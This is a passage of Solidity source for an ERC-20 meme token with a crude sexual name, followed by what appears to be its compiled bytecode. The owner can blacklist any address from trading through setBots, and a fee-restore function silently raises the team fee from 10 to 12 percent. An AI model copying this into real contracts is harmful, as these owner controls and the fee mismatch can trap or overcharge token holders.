amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } contract eBBC is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Ethereum Big Black Cock"; string private constant _symbol = 'eBBC\xF0\x9F\xA7\x91\xF0\x9F\x8F\xBF\xF0\x9F\x8D\x86'; uint8 private constant _decimals = 9; // RFI mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 10000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _taxFee = 5; uint256 private _teamFee = 10; // Bot detection mapping(address => bool) private bots; mapping(address => uint256) private cooldown; address payable private _teamAddress; address payable private _marketingFunds; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor(address payable addr1, address payable addr2) { _teamAddress = addr1; _marketingFunds = addr2; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_teamAddress] = true; _isExcludedFromFee[_marketingFunds] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_taxFee == 0 && _teamFee == 0) return; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = 5; _teamFee = 12; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (cooldownEnabled) { if ( from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router) ) { require( _msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair, "ERR: Uniswap only" ); } } require(amount <= _maxTxAmount); require(!bots[from] && !bots[to]); if ( from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled ) { require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (60 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) { takeFee = false; } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _teamAddress.transfer(amount.div(2)); _marketingFunds.transfer(amount.div(2)); } function openTrading() external onlyOwner() { require(!tradingOpen, "trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); swapEnabled = true; cooldownEnabled = true; tradingOpen = true; IERC20(uniswapV2Pair).approve( address(uniswapV2Router), type(uint256).max ); } function manualswap() external { require(_msgSender() == _teamAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _teamAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function setBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 taxFee, uint256 TeamFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } }
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612e71565b60405180910390f35b34801561015057600080fd5b5061016b60048036038101906101669190612978565b61045e565b6040516101789190612e56565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a39190613013565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce9190612925565b61048e565b6040516101e09190612e56565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b919061288b565b610567565b005b34801561021e57600080fd5b50610227610657565b6040516102349190613088565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f9190612a01565b610660565b005b34801561027257600080fd5b5061027b610712565b005b34801561028957600080fd5b506102a4600480360381019061029f919061288b565b610784565b6040516102b19190613013565b60405180910390f35b3480156102c657600080fd5b506102cf6107d5565b005b3480156102dd57600080fd5b506102e6610928565b6040516102f39190612d88565b60405180910390f35b34801561030857600080fd5b50610311610951565b60405161031e9190612e71565b60405180910390f35b34801561033357600080fd5b5061034e60048036038101906103499190612978565b61098e565b60405161035b9190612e56565b60405180910390f35b34801561037057600080fd5b5061038b600480360381019061038691906129b8565b6109ac565b005b34801561039957600080fd5b506103a2610ad6565b005b3480156103b057600080fd5b506103b9610b50565b005b3480156103c757600080fd5b506103e260048036038101906103dd9190612a5b565b61109e565b005b3480156103f057600080fd5b5061040b600480360381019061040691906128e5565b6111e8565b6040516104189190613013565b60405180910390f35b60606040518060400160405280601781526020017f457468657265756d2042696720426c61636b20436f636b000000000000000000815250905090565b600061047261046b61126f565b8484611277565b6001905092915050565b600069021e19e0c9bab2400000905090565b600061049b848484611442565b61055c846104a761126f565b6105578560405180606001604052806028815260200161378f60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050d61126f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c019092919063ffffffff16565b611277565b600190509392505050565b61056f61126f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f390612f53565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b61066861126f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106ec90612f53565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661075361126f565b73ffffffffffffffffffffffffffffffffffffffff161461077357600080fd5b600047905061078181611c65565b50565b60006107ce600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d60565b9050919050565b6107dd61126f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461086a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086190612f53565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280601081526020017f65424243f09fa791f09f8fbff09f8d8600000000000000000000000000000000815250905090565b60006109a261099b61126f565b8484611442565b6001905092915050565b6109b461126f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a41576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3890612f53565b60405180910390fd5b60005b8151811015610ad2576001600a6000848481518110610a6657610a656133d0565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610aca90613329565b915050610a44565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b1761126f565b73ffffffffffffffffffffffffffffffffffffffff1614610b3757600080fd5b6000610b4230610784565b9050610b4d81611dce565b50565b610b5861126f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610be5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bdc90612f53565b60405180910390fd5b600f60149054906101000a900460ff1615610c35576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c2c90612fd3565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cc630600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1669021e19e0c9bab2400000611277565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d0c57600080fd5b505afa158015610d20573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d4491906128b8565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610da657600080fd5b505afa158015610dba573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610dde91906128b8565b6040518363ffffffff1660e01b8152600401610dfb929190612da3565b602060405180830381600087803b158015610e1557600080fd5b505af1158015610e29573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e4d91906128b8565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610ed630610784565b600080610ee1610928565b426040518863ffffffff1660e01b8152600401610f0396959493929190612df5565b6060604051808303818588803b158015610f1c57600080fd5b505af1158015610f30573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f559190612a88565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff0219169083151502179055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611048929190612dcc565b602060405180830381600087803b15801561106257600080fd5b505af1158015611076573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061109a9190612a2e565b5050565b6110a661126f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611133576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161112a90612f53565b60405180910390fd5b60008111611176576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161116d90612f13565b60405180910390fd5b6111a660646111988369021e19e0c9bab240000061205690919063ffffffff16565b6120d190919063ffffffff16565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6010546040516111dd9190613013565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156112e7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112de90612fb3565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611357576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161134e90612ed3565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114359190613013565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114b2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114a990612f93565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611522576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161151990612e93565b60405180910390fd5b60008111611565576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161155c90612f73565b60405180910390fd5b61156d610928565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156115db57506115ab610928565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b3e57600f60179054906101000a900460ff161561180e573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561165d57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116b75750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117115750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561180d57600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661175761126f565b73ffffffffffffffffffffffffffffffffffffffff1614806117cd5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117b561126f565b73ffffffffffffffffffffffffffffffffffffffff16145b61180c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161180390612ff3565b60405180910390fd5b5b5b60105481111561181d57600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118c15750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118ca57600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119755750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119cb5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156119e35750600f60179054906101000a900460ff165b15611a845742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a3357600080fd5b603c42611a409190613149565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611a8f30610784565b9050600f60159054906101000a900460ff16158015611afc5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b145750600f60169054906101000a900460ff165b15611b3c57611b2281611dce565b60004790506000811115611b3a57611b3947611c65565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611be55750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611bef57600090505b611bfb8484848461211b565b50505050565b6000838311158290611c49576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c409190612e71565b60405180910390fd5b5060008385611c58919061322a565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611cb56002846120d190919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611ce0573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611d316002846120d190919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d5c573d6000803e3d6000fd5b5050565b6000600654821115611da7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d9e90612eb3565b60405180910390fd5b6000611db1612148565b9050611dc681846120d190919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e0657611e056133ff565b5b604051908082528060200260200182016040528015611e345781602001602082028036833780820191505090505b5090503081600081518110611e4c57611e4b6133d0565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611eee57600080fd5b505afa158015611f02573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611f2691906128b8565b81600181518110611f3a57611f396133d0565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611fa130600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611277565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161200595949392919061302e565b600060405180830381600087803b15801561201f57600080fd5b505af1158015612033573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b60008083141561206957600090506120cb565b6000828461207791906131d0565b9050828482612086919061319f565b146120c6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120bd90612f33565b60405180910390fd5b809150505b92915050565b600061211383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612173565b905092915050565b80612129576121286121d6565b5b612134848484612207565b80612142576121416123d2565b5b50505050565b60008060006121556123e4565b9150915061216c81836120d190919063ffffffff16565b9250505090565b600080831182906121ba576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121b19190612e71565b60405180910390fd5b50600083856121c9919061319f565b9050809150509392505050565b60006008541480156121ea57506000600954145b156121f457612205565b600060088190555060006009819055505b565b60008060008060008061221987612449565b95509550955095509550955061227786600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124b190919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061230c85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124fb90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061235881612559565b6123628483612616565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516123bf9190613013565b60405180910390a3505050505050505050565b6005600881905550600c600981905550565b60008060006006549050600069021e19e0c9bab2400000905061241c69021e19e0c9bab24000006006546120d190919063ffffffff16565b82101561243c5760065469021e19e0c9bab2400000935093505050612445565b81819350935050505b9091565b60008060008060008060008060006124668a600854600954612650565b9250925092506000612476612148565b905060008060006124898e8787876126e6565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006124f383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c01565b905092915050565b600080828461250a9190613149565b90508381101561254f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161254690612ef3565b60405180910390fd5b8091505092915050565b6000612563612148565b9050600061257a828461205690919063ffffffff16565b90506125ce81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124fb90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b61262b826006546124b190919063ffffffff16565b600681905550612646816007546124fb90919063ffffffff16565b6007819055505050565b60008060008061267c606461266e888a61205690919063ffffffff16565b6120d190919063ffffffff16565b905060006126a66064612698888b61205690919063ffffffff16565b6120d190919063ffffffff16565b905060006126cf826126c1858c6124b190919063ffffffff16565b6124b190919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806126ff858961205690919063ffffffff16565b90506000612716868961205690919063ffffffff16565b9050600061272d878961205690919063ffffffff16565b905060006127568261274885876124b190919063ffffffff16565b6124b190919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061278261277d846130c8565b6130a3565b905080838252602082019050828560208602820111156127a5576127a4613433565b5b60005b858110156127d557816127bb88826127df565b8452602084019350602083019250506001810190506127a8565b5050509392505050565b6000813590506127ee81613749565b92915050565b60008151905061280381613749565b92915050565b600082601f83011261281e5761281d61342e565b5b813561282e84826020860161276f565b91505092915050565b60008135905061284681613760565b92915050565b60008151905061285b81613760565b92915050565b60008135905061287081613777565b92915050565b60008151905061288581613777565b92915050565b6000602082840312156128a1576128a061343d565b5b60006128af848285016127df565b91505092915050565b6000602082840312156128ce576128cd61343d565b5b60006128dc848285016127f4565b91505092915050565b600080604083850312156128fc576128fb61343d565b5b600061290a858286016127df565b925050602061291b858286016127df565b9150509250929050565b60008060006060848603121561293e5761293d61343d565b5b600061294c868287016127df565b935050602061295d868287016127df565b925050604061296e86828701612861565b9150509250925092565b6000806040838503121561298f5761298e61343d565b5b600061299d858286016127df565b92505060206129ae85828601612861565b9150509250929050565b6000602082840312156129ce576129cd61343d565b5b600082013567ffffffffffffffff8111156129ec576129eb613438565b5b6129f884828501612809565b91505092915050565b600060208284031215612a1757612a1661343d565b5b6000612a2584828501612837565b91505092915050565b600060208284031215612a4457612a4361343d565b5b6000612a528482850161284c565b91505092915050565b600060208284031215612a7157612a7061343d565b5b6000612a7f84828501612861565b91505092915050565b600080600060608486031215612aa157612aa061343d565b5b6000612aaf86828701612876565b9350506020612ac086828701612876565b9250506040612ad186828701612876565b9150509250925092565b6000612ae78383612af3565b60208301905092915050565b612afc8161325e565b82525050565b612b0b8161325e565b82525050565b6000612b1c82613104565b612b268185613127565b9350612b31836130f4565b8060005b83811015612b62578151612b498882612adb565b9750612b548361311a565b925050600181019050612b35565b5085935050505092915050565b612b7881613270565b82525050565b612b87816132b3565b82525050565b6000612b988261310f565b612ba28185613138565b9350612bb28185602086016132c5565b612bbb81613442565b840191505092915050565b6000612bd3602383613138565b9150612bde82613453565b604082019050919050565b6000612bf6602a83613138565b9150612c01826134a2565b604082019050919050565b6000612c19602283613138565b9150612c24826134f1565b604082019050919050565b6000612c3c601b83613138565b9150612c4782613540565b602082019050919050565b6000612c5f601d83613138565b9150612c6a82613569565b602082019050919050565b6000612c82602183613138